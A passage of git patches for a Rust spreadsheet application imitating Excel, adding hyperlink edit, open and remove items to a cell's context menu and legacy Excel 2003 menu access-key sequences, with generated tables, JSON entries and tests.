linked cell edits that link. + d.title = "Edit Hyperlink".into(); } d } diff --git a/crates/ui-egui/src/grid/menus.rs b/crates/ui-egui/src/grid/menus.rs index b05a04bc7..0e7872334 100644 --- a/crates/ui-egui/src/grid/menus.rs +++ b/crates/ui-egui/src/grid/menus.rs @@ -129,6 +129,9 @@ pub(super) fn context_menu(app: &mut SheetApp, ui: &mut egui::Ui) { egui::Frame::popup(ui.style()).show(ui, |ui| { ui.set_min_width(200.0); let insert_copied = insert_copied_item(app); + // On a cell with a link Excel offers to edit, open or remove it (#2120). + let link = + app.session.active().and_then(|d| d.wb.active().and_then(|sh| sh.hyperlinks.get(&d.selection.active)).map(|l| l.target.clone())); let mut items: Vec<(&str, &str)> = vec![ ("Cut", "edit.cut"), ("Copy", "edit.copy"), @@ -154,6 +157,14 @@ pub(super) fn context_menu(app: &mut SheetApp, ui: &mut egui::Ui) { if let Some(item) = insert_copied { items.insert(6, item); } + if link.is_some() + && let Some(i) = items.iter().position(|(_, id)| *id == "ui:insertLink") + { + items.splice( + i..=i, + [("Edit Hyperlink…", "ui:insertLink"), ("Open Hyperlink", "ui:openLink"), ("Remove Hyperlink", "edit.clearHyperlinks")], + ); + } if show_details_offered(app) && let Some(i) = items.iter().position(|(_, id)| *id == "data.sortDescending") { @@ -178,6 +189,11 @@ pub(super) fn context_menu(app: &mut SheetApp, ui: &mut egui::Ui) { "ui:newNote" => app.open_dialog("comment", json!({"threaded": false})), "ui:defineName" => app.open_dialog("defineName", json!({})), "ui:insertLink" => app.open_dialog("insertLink", json!({})), + "ui:openLink" => { + if let Some(target) = &link { + super::interact::follow_link(app, target); + } + } "ui:pickList" => app.open_dialog("pickList", json!({})), "ui:filterValue" => { if let Some(d) = app.session.active() { diff --git a/crates/ui-egui/tests/it/context_menu_stays_open.rs b/crates/ui-egui/tests/it/context_menu_stays_open.rs index c48c659d0..365c28c92 100644 --- a/crates/ui-egui/tests/it/context_menu_stays_open.rs +++ b/crates/ui-egui/tests/it/context_menu_stays_open.rs @@ -100,3 +100,36 @@ fn a_quick_right_click_between_pixels_keeps_the_menu_open_on_retina() { h.run_steps(4); assert!(h.state().grid.context_menu.is_some(), "the menu stays open"); } + +#[test] +fn a_linked_cell_offers_to_edit_open_and_remove_its_link() { + // #2120: the menu only offered "Link…", and its dialog was titled Insert Hyperlink. + use egui_kittest::kittest::Queryable as _; + let mut h = harness(); + h.state_mut().session.execute("insert.link", serde_json::json!({"cell": "B2", "target": "#Sheet1!D9", "text": "Go"})).unwrap(); + h.run_steps(2); + quick_right_click(&mut h, "B2"); + assert!(h.query_by_label("Edit Hyperlink…").is_some() && h.query_by_label("Open Hyperlink").is_some(), "linked cell menu"); + assert!(h.query_by_label("Link…").is_none()); + // Open Hyperlink follows it (an internal reference selects its cell). + h.get_by_label("Open Hyperlink").click(); + h.run_steps(4); + assert_eq!(h.state().session.active().unwrap().selection.active, CellRef::parse("D9").unwrap()); + // Edit Hyperlink opens the link's own dialog. + quick_right_click(&mut h, "B2"); + h.get_by_label("Edit Hyperlink…").click(); + h.run_steps(4); + let d = h.state().dialog.as_ref().expect("the link dialog"); + assert_eq!(d.title, "Edit Hyperlink"); + assert_eq!(d.values.get("target").and_then(|v| v.as_str()), Some("#Sheet1!D9")); + h.state_mut().dialog = None; + h.run_steps(2); + // Remove Hyperlink takes the link away; a cell without one offers Link… again. + quick_right_click(&mut h, "B2"); + h.get_by_label("Remove Hyperlink").click(); + h.run_steps(4); + let sh = h.state().session.active().unwrap().wb.active().unwrap().clone(); + assert!(!sh.hyperlinks.contains_key(&CellRef::parse("B2").unwrap())); + quick_right_click(&mut h, "B2"); + assert!(h.query_by_label("Link…").is_some() && h.query_by_label("Edit Hyperlink…").is_none()); +} diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 125182d27..e34aac280 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-02 · **Change:** minor (RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-03 · **Change:** minor (a linked cell's menu edits, opens or removes the link; earlier: RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -237,6 +237,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | Cell context menu on a cell with a link: Edit Hyperlink… (the link dialog, titled Edit Hyperlink and filled with the link), Open Hyperlink and Remove Hyperlink, as in Excel, instead of Link… (#2120) | | 2026-11-02 | minor | RefEdit reference boxes in dialogs: pick a range on the grid, collapse the dialog while selecting; Goal Seek, Solver (with the Model Range of Load/Save) and Data Analysis use them; while collapsed the arrow keys move the selection and Shift+arrow extends it, F4 cycles a reference's anchors, a click elsewhere keeps the box picking, a dialog opened over a picking one puts the selection back, OK stays on the sheet its command showed, and scripted cancel and confirm end a pick like the buttons; the dialog's sheet is followed through the recorded undo steps, so a sheet deleted and recreated under its name is not taken for it and an undo of the deletion brings it back; a box the dialog stops showing is no longer picked into | | 2026-11-02 | minor | Python mode edits a cell's code in the formula bar's code editor (Ctrl+Alt+Shift+P, `=PY` then Tab, editing a Python cell), with the PY badge beside fx; its keys apply in input order, also several in one frame, and Ctrl+Enter commits through `python.set` (empty code clears the cell), keeping the code and showing the command's message when the code is refused | | 2026-11-02 | minor | Insert › Symbols: Equation split button (access keys N E), a gallery of examples, and an equation editor with quick-insert buttons, the error underlined at its position and a live preview; double-clicking an equation edits it | From 3c0749e685861b07916db57c7368830541b1b0d7 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 02:31:45 -0600 Subject: [PATCH 102/167] #941: Excel 2003 menu access keys (Alt+I, R; Alt+D, S; ...) Adds 43 legacy sequences to keytips.json (Insert, Edit, Format, Data, View, Tools menus and File > Page Setup), each running the command or dialog the modern key tip already uses. Alt+I, D, V and T are implicit levels with no ribbon tab; badges are not painted under them, as in Excel. The generator checks Options (a Backstage page) by its page. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/keytips/keytip_table.rs | 23 ++ .../src/keytips/keytip_table/generated.rs | 45 ++- crates/ui-egui/src/keytips/keytips.json | 301 +++++++++++++++++ crates/ui-egui/src/ribbon/controls.rs | 10 +- crates/ui-egui/tests/it/keytips_generated.rs | 303 +++++++++++++++++- docs/ui-parity.md | 3 +- xtask/src/keytips.rs | 5 + 7 files changed, 686 insertions(+), 4 deletions(-) diff --git a/crates/ui-egui/src/keytips/keytip_table.rs b/crates/ui-egui/src/keytips/keytip_table.rs index 87c85befd..502e7336f 100644 --- a/crates/ui-egui/src/keytips/keytip_table.rs +++ b/crates/ui-egui/src/keytips/keytip_table.rs @@ -48,6 +48,13 @@ pub fn is_group_level(seq: &str) -> bool { matches!(lookup(seq), Some(Entry::Continue)) || (lookup(seq).is_none() && has_deeper(seq)) } +/// False under a legacy Excel 2003 menu letter that has no ribbon tab (Alt+I, D, V, T): Excel +/// paints no badges for those, so the ribbon stays as it is while the sequence is typed. +pub fn paints_badges(prefix: &str) -> bool { + let Some(root) = prefix.get(..1) else { return true }; + SEQUENCES.iter().any(|(seq, entry)| matches!(entry, Entry::Tab(_)) && seq.starts_with(root)) +} + fn matches_target(action: &Action, target: &str) -> bool { match action { Action::Command(id) | Action::CommandWith(id, _) | Action::Pending(id) | Action::Control(id) => *id == target, @@ -214,6 +221,22 @@ mod tests { assert!(!has_deeper("X")); } + #[test] + fn legacy_menu_letters_finish_without_badges() { + assert_eq!(lookup("IR"), Some(Entry::Finish(Action::Command("home.insertRows")))); + assert_eq!(lookup("DS"), Some(Entry::Finish(Action::Dialog("sort")))); + assert_eq!(lookup("EAA"), Some(Entry::Finish(Action::Command("edit.clearAll")))); + for root in ["I", "D", "V", "T"] { + assert!(is_group_level(root), "{root} waits for the menu letter"); + assert!(!paints_badges(root), "{root} has no tab, so no badges"); + } + assert!(paints_badges(""), "tab badges"); + assert!(paints_badges("HO")); + assert!(paints_badges("J"), "the Draw tab's two-letter unit"); + assert!(paints_badges("E"), "E and O stay aliases of Home"); + assert_eq!(sequences_for("home.insertRows"), vec!["HIR", "IR"], "the ribbon sequence stays first"); + } + #[test] fn group_extension_paints_only_continue_levels() { assert_eq!(group_extension("H", &["dialog:pasteSpecial"]), vec!["HV"]); diff --git a/crates/ui-egui/src/keytips/keytip_table/generated.rs b/crates/ui-egui/src/keytips/keytip_table/generated.rs index 3124a4b1f..c3a343671 100644 --- a/crates/ui-egui/src/keytips/keytip_table/generated.rs +++ b/crates/ui-egui/src/keytips/keytip_table/generated.rs @@ -372,5 +372,48 @@ pub const SEQUENCES: &[(&str, Entry)] = &[ ("FN", Entry::Finish(Action::Command("file.new"))), // Excel: New page; New page ("FO", Entry::Finish(Action::Command("file.open"))), // Excel: Open page; fires immediately in Excel; deeper aliases dropped as unreachable ("FP", Entry::Finish(Action::Command("file.print"))), // Excel: Print page; containment(Print) - ("Q", Entry::Finish(Action::Pending("ui.search"))), // pending; Excel: Search / Tell Me; Alt+Q search box does not exist yet (issue #49) + ("IR", Entry::Finish(Action::Command("home.insertRows"))), // Excel: Insert > Rows; Legacy Excel 2003 menu path (#941). + ("IC", Entry::Finish(Action::Command("home.insertColumns"))), // Excel: Insert > Columns; Legacy Excel 2003 menu path (#941). + ("IE", Entry::Finish(Action::Dialog("insertCells"))), // Excel: Insert > Cells; Legacy Excel 2003 menu path (#941). + ("IW", Entry::Finish(Action::Command("home.insertSheet"))), // Excel: Insert > Worksheet; Legacy Excel 2003 menu path (#941). + ("IF", Entry::Finish(Action::Dialog("insertFunction"))), // Excel: Insert > Function; Legacy Excel 2003 menu path (#941). + ("IND", Entry::Finish(Action::Dialog("defineName"))), // Excel: Insert > Name > Define; Legacy Excel 2003 menu path (#941). + ("IS", Entry::Finish(Action::Command("insert.symbol"))), // Excel: Insert > Symbol; Legacy Excel 2003 menu path (#941). + ("ED", Entry::Finish(Action::Dialog("deleteCells"))), // Excel: Edit > Delete; Legacy Excel 2003 menu path (#941). + ("EM", Entry::Finish(Action::Dialog("moveSheet"))), // Excel: Edit > Move or Copy Sheet; Legacy Excel 2003 menu path (#941). + ("EL", Entry::Finish(Action::Command("home.deleteSheet"))), // Excel: Edit > Delete Sheet; Legacy Excel 2003 menu path (#941). + ("EAA", Entry::Finish(Action::Command("edit.clearAll"))), // Excel: Edit > Clear > All; Legacy Excel 2003 menu path (#941). + ("EAC", Entry::Finish(Action::Command("edit.clearContents"))), // Excel: Edit > Clear > Contents; Legacy Excel 2003 menu path (#941). + ("EAM", Entry::Finish(Action::Command("edit.clearComments"))), // Excel: Edit > Clear > Comments; Legacy Excel 2003 menu path (#941). + ("EF", Entry::Finish(Action::Dialog("find"))), // Excel: Edit > Find; Legacy Excel 2003 menu path (#941). + ("EG", Entry::Finish(Action::Dialog("goTo"))), // Excel: Edit > Go To; Legacy Excel 2003 menu path (#941). + ("ORA", Entry::Finish(Action::Command("home.autofitRowHeight"))), // Excel: Format > Row > AutoFit; Legacy Excel 2003 menu path (#941). + ("ORE", Entry::Finish(Action::Dialog("rowHeight"))), // Excel: Format > Row > Height; Legacy Excel 2003 menu path (#941). + ("ORH", Entry::Finish(Action::Command("home.hideRows"))), // Excel: Format > Row > Hide; Legacy Excel 2003 menu path (#941). + ("ORU", Entry::Finish(Action::Command("home.unhideRows"))), // Excel: Format > Row > Unhide; Legacy Excel 2003 menu path (#941). + ("OCW", Entry::Finish(Action::Dialog("columnWidth"))), // Excel: Format > Column > Width; Legacy Excel 2003 menu path (#941). + ("OCH", Entry::Finish(Action::Command("home.hideColumns"))), // Excel: Format > Column > Hide; Legacy Excel 2003 menu path (#941). + ("OCU", Entry::Finish(Action::Command("home.unhideColumns"))), // Excel: Format > Column > Unhide; Legacy Excel 2003 menu path (#941). + ("OHR", Entry::Finish(Action::Dialog("renameSheet"))), // Excel: Format > Sheet > Rename; Legacy Excel 2003 menu path (#941). + ("OHH", Entry::Finish(Action::Command("sheet.hide"))), // Excel: Format > Sheet > Hide; Legacy Excel 2003 menu path (#941). + ("OHU", Entry::Finish(Action::Command("sheet.unhide"))), // Excel: Format > Sheet > Unhide; Legacy Excel 2003 menu path (#941). + ("OE", Entry::Finish(Action::Command("home.formatCells"))), // Excel: Format > Cells; Legacy Excel 2003 menu path (#941). + ("OD", Entry::Finish(Action::Command("home.conditionalFormat"))), // Excel: Format > Conditional Formatting; Legacy Excel 2003 menu path (#941). + ("DFF", Entry::Finish(Action::Command("data.filter"))), // Excel: Data > Filter > AutoFilter; Legacy Excel 2003 menu path (#941). + ("DS", Entry::Finish(Action::Dialog("sort"))), // Excel: Data > Sort; Legacy Excel 2003 menu path (#941). + ("DGG", Entry::Finish(Action::Command("data.group"))), // Excel: Data > Group and Outline > Group; Legacy Excel 2003 menu path (#941). + ("DGU", Entry::Finish(Action::Command("data.ungroup"))), // Excel: Data > Group and Outline > Ungroup; Legacy Excel 2003 menu path (#941). + ("DGS", Entry::Finish(Action::Command("data.showDetail"))), // Excel: Data > Group and Outline > Show Detail; Legacy Excel 2003 menu path (#941). + ("DGH", Entry::Finish(Action::Command("data.hideDetail"))), // Excel: Data > Group and Outline > Hide Detail; Legacy Excel 2003 menu path (#941). + ("DL", Entry::Finish(Action::Command("data.validation"))), // Excel: Data > Validation; Legacy Excel 2003 menu path (#941). + ("DT", Entry::Finish(Action::Command("data.dataTable"))), // Excel: Data > Table (what-if data table); Legacy Excel 2003 menu path (#941). + ("VN", Entry::Finish(Action::Command("view.normal"))), // Excel: View > Normal; Legacy Excel 2003 menu path (#941). + ("VP", Entry::Finish(Action::Command("view.pageBreakPreview"))), // Excel: View > Page Break Preview; Legacy Excel 2003 menu path (#941). + ("VZ", Entry::Finish(Action::Dialog("zoom"))), // Excel: View > Zoom; Legacy Excel 2003 menu path (#941). + ("TO", Entry::Finish(Action::Dialog("options"))), // Excel: Tools > Options; Legacy Excel 2003 menu path (#941). + ("TUA", Entry::Finish(Action::Command("formulas.removeArrows"))), // Excel: Tools > Formula Auditing > Remove All Arrows; Legacy Excel 2003 menu path (#941). + ("TUD", Entry::Finish(Action::Command("formulas.traceDependents"))), // Excel: Tools > Formula Auditing > Trace Dependents; Legacy Excel 2003 menu path (#941). + ("TUT", Entry::Finish(Action::Command("formulas.tracePrecedents"))), // Excel: Tools > Formula Auditing > Trace Precedents; Legacy Excel 2003 menu path (#941). + ("FU", Entry::Finish(Action::Dialog("pageSetup"))), // Excel: File > Page Setup; Legacy Excel 2003 menu path (#941). + ("Q", Entry::Finish(Action::Pending("ui.search"))), // pending; Excel: Search / Tell Me; Alt+Q search box does not exist yet (issue #49) ]; diff --git a/crates/ui-egui/src/keytips/keytips.json b/crates/ui-egui/src/keytips/keytips.json index 90eab4909..5c96d1d9f 100644 --- a/crates/ui-egui/src/keytips/keytips.json +++ b/crates/ui-egui/src/keytips/keytips.json @@ -2582,6 +2582,307 @@ "excel": "Print page", "note": "containment(Print)" }, + { + "seq": "IR", + "kind": "command", + "target": "home.insertRows", + "excel": "Insert > Rows", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "IC", + "kind": "command", + "target": "home.insertColumns", + "excel": "Insert > Columns", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "IE", + "kind": "dialog", + "target": "insertCells", + "excel": "Insert > Cells", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "IW", + "kind": "command", + "target": "home.insertSheet", + "excel": "Insert > Worksheet", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "IF", + "kind": "dialog", + "target": "insertFunction", + "excel": "Insert > Function", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "IND", + "kind": "dialog", + "target": "defineName", + "excel": "Insert > Name > Define", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "IS", + "kind": "command", + "target": "insert.symbol", + "excel": "Insert > Symbol", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "ED", + "kind": "dialog", + "target": "deleteCells", + "excel": "Edit > Delete", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "EM", + "kind": "dialog", + "target": "moveSheet", + "excel": "Edit > Move or Copy Sheet", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "EL", + "kind": "command", + "target": "home.deleteSheet", + "excel": "Edit > Delete Sheet", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "EAA", + "kind": "command", + "target": "edit.clearAll", + "excel": "Edit > Clear > All", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "EAC", + "kind": "command", + "target": "edit.clearContents", + "excel": "Edit > Clear > Contents", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "EAM", + "kind": "command", + "target": "edit.clearComments", + "excel": "Edit > Clear > Comments", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "EF", + "kind": "dialog", + "target": "find", + "excel": "Edit > Find", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "EG", + "kind": "dialog", + "target": "goTo", + "excel": "Edit > Go To", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "ORA", + "kind": "command", + "target": "home.autofitRowHeight", + "excel": "Format > Row > AutoFit", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "ORE", + "kind": "dialog", + "target": "rowHeight", + "excel": "Format > Row > Height", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "ORH", + "kind": "command", + "target": "home.hideRows", + "excel": "Format > Row > Hide", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "ORU", + "kind": "command", + "target": "home.unhideRows", + "excel": "Format > Row > Unhide", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "OCW", + "kind": "dialog", + "target": "columnWidth", + "excel": "Format > Column > Width", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "OCH", + "kind": "command", + "target": "home.hideColumns", + "excel": "Format > Column > Hide", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "OCU", + "kind": "command", + "target": "home.unhideColumns", + "excel": "Format > Column > Unhide", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "OHR", + "kind": "dialog", + "target": "renameSheet", + "excel": "Format > Sheet > Rename", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "OHH", + "kind": "command", + "target": "sheet.hide", + "excel": "Format > Sheet > Hide", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "OHU", + "kind": "command", + "target": "sheet.unhide", + "excel": "Format > Sheet > Unhide", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "OE", + "kind": "command", + "target": "home.formatCells", + "excel": "Format > Cells", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "OD", + "kind": "command", + "target": "home.conditionalFormat", + "excel": "Format > Conditional Formatting", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "DFF", + "kind": "command", + "target": "data.filter", + "excel": "Data > Filter > AutoFilter", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "DS", + "kind": "dialog", + "target": "sort", + "excel": "Data > Sort", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "DGG", + "kind": "command", + "target": "data.group", + "excel": "Data > Group and Outline > Group", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "DGU", + "kind": "command", + "target": "data.ungroup", + "excel": "Data > Group and Outline > Ungroup", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "DGS", + "kind": "command", + "target": "data.showDetail", + "excel": "Data > Group and Outline > Show Detail", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "DGH", + "kind": "command", + "target": "data.hideDetail", + "excel": "Data > Group and Outline > Hide Detail", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "DL", + "kind": "command", + "target": "data.validation", + "excel": "Data > Validation", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "DT", + "kind": "command", + "target": "data.dataTable", + "excel": "Data > Table (what-if data table)", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "VN", + "kind": "command", + "target": "view.normal", + "excel": "View > Normal", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "VP", + "kind": "command", + "target": "view.pageBreakPreview", + "excel": "View > Page Break Preview", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "VZ", + "kind": "dialog", + "target": "zoom", + "excel": "View > Zoom", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "TO", + "kind": "dialog", + "target": "options", + "excel": "Tools > Options", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "TUA", + "kind": "command", + "target": "formulas.removeArrows", + "excel": "Tools > Formula Auditing > Remove All Arrows", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "TUD", + "kind": "command", + "target": "formulas.traceDependents", + "excel": "Tools > Formula Auditing > Trace Dependents", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "TUT", + "kind": "command", + "target": "formulas.tracePrecedents", + "excel": "Tools > Formula Auditing > Trace Precedents", + "note": "Legacy Excel 2003 menu path (#941)." + }, + { + "seq": "FU", + "kind": "dialog", + "target": "pageSetup", + "excel": "File > Page Setup", + "note": "Legacy Excel 2003 menu path (#941)." + }, { "seq": "Q", "kind": "command", diff --git a/crates/ui-egui/src/ribbon/controls.rs b/crates/ui-egui/src/ribbon/controls.rs index 774a2b40b..5d10e13e0 100644 --- a/crates/ui-egui/src/ribbon/controls.rs +++ b/crates/ui-egui/src/ribbon/controls.rs @@ -27,7 +27,15 @@ pub(super) fn act(app: &mut SheetApp, id: &str, params: serde_json::Value) { /// Keytips are painted, not focusable widgets: the grid retains keyboard focus. pub(super) fn keytip(app: &SheetApp, ui: &Ui, sequence: &str, at: egui::Pos2) { - let Some(rest) = app.keytips.prefix().and_then(|prefix| sequence.strip_prefix(prefix)).filter(|s| !s.is_empty()) else { return }; + let Some(rest) = app + .keytips + .prefix() + .filter(|prefix| keytip_table::paints_badges(prefix)) + .and_then(|prefix| sequence.strip_prefix(prefix)) + .filter(|s| !s.is_empty()) + else { + return; + }; let t = Tokens::get(ui.ctx()); let painter = ui.ctx().layer_painter(egui::LayerId::new(egui::Order::Tooltip, egui::Id::unique("ribbon_keytips"))).with_clip_rect(ui.clip_rect()); let text = painter.layout_no_wrap(rest.into(), theme::ui_bold(10.5), t.text); diff --git a/crates/ui-egui/tests/it/keytips_generated.rs b/crates/ui-egui/tests/it/keytips_generated.rs index 3dc225a76..976e1fdbf 100644 --- a/crates/ui-egui/tests/it/keytips_generated.rs +++ b/crates/ui-egui/tests/it/keytips_generated.rs @@ -2754,6 +2754,307 @@ fn keytip_fp_() { assert!(h.state().session.journal.iter().any(|(id, _)| id == "file.print"), "FP must journal file.print"); } +#[test] +fn keytip_ir_() { + let mut h = harness(blank()); + sequence(&mut h, "IR", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "home.insertRows"), "IR must journal home.insertRows"); +} + +#[test] +fn keytip_ic_() { + let mut h = harness(blank()); + sequence(&mut h, "IC", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "home.insertColumns"), "IC must journal home.insertColumns"); +} + +#[test] +fn keytip_ie_() { + let mut h = harness(blank()); + sequence(&mut h, "IE", false); + assert!(h.state().dialog.is_some(), "IE must open the insertCells dialog"); +} + +#[test] +fn keytip_iw_() { + let mut h = harness(blank()); + sequence(&mut h, "IW", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "home.insertSheet"), "IW must journal home.insertSheet"); +} + +#[test] +fn keytip_if_() { + let mut h = harness(blank()); + sequence(&mut h, "IF", false); + assert!(h.state().dialog.is_some(), "IF must open the insertFunction dialog"); +} + +#[test] +fn keytip_ind_() { + let mut h = harness(blank()); + sequence(&mut h, "IND", false); + assert!(h.state().dialog.is_some(), "IND must open the defineName dialog"); +} + +#[test] +fn keytip_is_() { + let mut h = harness(blank()); + sequence(&mut h, "IS", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "insert.symbol"), "IS must journal insert.symbol"); +} + +#[test] +fn keytip_ed_() { + let mut h = harness(blank()); + sequence(&mut h, "ED", false); + assert!(h.state().dialog.is_some(), "ED must open the deleteCells dialog"); +} + +#[test] +fn keytip_em_() { + let mut h = harness(blank()); + sequence(&mut h, "EM", false); + assert!(h.state().dialog.is_some(), "EM must open the moveSheet dialog"); +} + +#[test] +fn keytip_el_() { + let mut h = harness(blank()); + sequence(&mut h, "EL", false); + assert!(h.state().message.is_some() || h.state().toast.is_some(), "EL must invoke home.deleteSheet and surface its missing-params error"); +} + +#[test] +fn keytip_eaa_() { + let mut h = harness(blank()); + sequence(&mut h, "EAA", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "edit.clearAll"), "EAA must journal edit.clearAll"); +} + +#[test] +fn keytip_eac_() { + let mut h = harness(blank()); + sequence(&mut h, "EAC", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "edit.clearContents"), "EAC must journal edit.clearContents"); +} + +#[test] +fn keytip_eam_() { + let mut h = harness(blank()); + sequence(&mut h, "EAM", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "edit.clearComments"), "EAM must journal edit.clearComments"); +} + +#[test] +fn keytip_ef_() { + let mut h = harness(blank()); + sequence(&mut h, "EF", false); + assert!(h.state().dialog.is_some(), "EF must open the find dialog"); +} + +#[test] +fn keytip_eg_() { + let mut h = harness(blank()); + sequence(&mut h, "EG", false); + assert!(h.state().dialog.is_some(), "EG must open the goTo dialog"); +} + +#[test] +fn keytip_ora_() { + let mut h = harness(blank()); + sequence(&mut h, "ORA", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "home.autofitRowHeight"), "ORA must journal home.autofitRowHeight"); +} + +#[test] +fn keytip_ore_() { + let mut h = harness(blank()); + sequence(&mut h, "ORE", false); + assert!(h.state().dialog.is_some(), "ORE must open the rowHeight dialog"); +} + +#[test] +fn keytip_orh_() { + let mut h = harness(blank()); + sequence(&mut h, "ORH", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "home.hideRows"), "ORH must journal home.hideRows"); +} + +#[test] +fn keytip_oru_() { + let mut h = harness(blank()); + sequence(&mut h, "ORU", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "home.unhideRows"), "ORU must journal home.unhideRows"); +} + +#[test] +fn keytip_ocw_() { + let mut h = harness(blank()); + sequence(&mut h, "OCW", false); + assert!(h.state().dialog.is_some(), "OCW must open the columnWidth dialog"); +} + +#[test] +fn keytip_och_() { + let mut h = harness(blank()); + sequence(&mut h, "OCH", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "home.hideColumns"), "OCH must journal home.hideColumns"); +} + +#[test] +fn keytip_ocu_() { + let mut h = harness(blank()); + sequence(&mut h, "OCU", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "home.unhideColumns"), "OCU must journal home.unhideColumns"); +} + +#[test] +fn keytip_ohr_() { + let mut h = harness(blank()); + sequence(&mut h, "OHR", false); + assert!(h.state().dialog.is_some(), "OHR must open the renameSheet dialog"); +} + +#[test] +fn keytip_ohh_() { + let mut h = harness(blank()); + sequence(&mut h, "OHH", false); + assert!(h.state().message.is_some() || h.state().toast.is_some(), "OHH must invoke sheet.hide and surface its missing-params error"); +} + +#[test] +fn keytip_ohu_() { + let mut h = harness(blank()); + sequence(&mut h, "OHU", false); + assert!(h.state().message.is_some() || h.state().toast.is_some(), "OHU must invoke sheet.unhide and surface its missing-params error"); +} + +#[test] +fn keytip_oe_() { + let mut h = harness(blank()); + sequence(&mut h, "OE", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "home.formatCells"), "OE must journal home.formatCells"); +} + +#[test] +fn keytip_od_() { + let mut h = 